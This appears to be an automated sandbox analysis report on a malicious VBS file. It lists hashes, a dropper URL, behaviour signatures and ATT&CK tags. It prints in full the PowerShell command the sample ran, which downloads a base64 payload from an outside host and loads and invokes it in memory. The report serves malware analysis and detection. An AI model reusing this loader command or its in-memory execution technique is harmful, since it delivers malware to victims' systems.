1ae61cdab60648d667193e685b440256e0f96485269a01701c63ab5bcbcc4308

Analysis

max time kernel
44s
max time network
48s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
08/09/2022, 19:22

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General

Target

RVF002.vbs
Size

236KB
MD5

7b474b087d336f766ba4cd74067e2786
SHA1

aac3de5ebd60465dabdd78033637819b68d1e91b
SHA256

92d4a215bc6adc95dec27c087a23e307dcebd79b2abcbb76f9f9dc08a70b3e5a
SHA512

e431562d6a08d91075c8498dd88de3c83a7e21bf627263254f3b62e9f9b5493a34f1f942412865e3bd4bc3bcfc4ff2c8f5223aa0fa58601803d1f43451f50dfe
SSDEEP

24:QnODOUWlHllyjOMyE2aL8gVEuMvywFfV7N9Riwnwm43YQ7FYiVLneMDTFv9vPvWE:yKVWtl6OeqyYLQeMHNOSAgHyLKhB

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://schoolcrypter.com/dll_startup

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	1296	powershell.exe
5	1296	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1296	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1296	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2020 wrote to memory of 1296	2020	WScript.exe	28
PID 2020 wrote to memory of 1296	2020	WScript.exe	28
PID 2020 wrote to memory of 1296	2020	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RVF002.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('https://schoolcrypter.com/dll_startup'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('ad6c8d496523-a4ab-b6a4-dbc7-750db9b1=nekot&aidem=tla?txt.qT/o/moc.topsppa.0a726-dspok/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1296

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1296-57-0x000007FEF3F40000-0x000007FEF4963000-memory.dmp

Filesize
10.1MB

Download
memory/1296-58-0x000007FEF33E0000-0x000007FEF3F3D000-memory.dmp

Filesize
11.4MB

Download
memory/1296-59-0x00000000028D4000-0x00000000028D7000-memory.dmp

Filesize
12KB

Download
memory/1296-60-0x00000000028DB000-0x00000000028FA000-memory.dmp

Filesize
124KB

Download
memory/1296-61-0x00000000028D4000-0x00000000028D7000-memory.dmp

Filesize
12KB

Download
memory/1296-62-0x00000000028DB000-0x00000000028FA000-memory.dmp

Filesize
124KB

Download
memory/2020-54-0x000007FEFC2C1000-0x000007FEFC2C3000-memory.dmp

Filesize
8KB

Download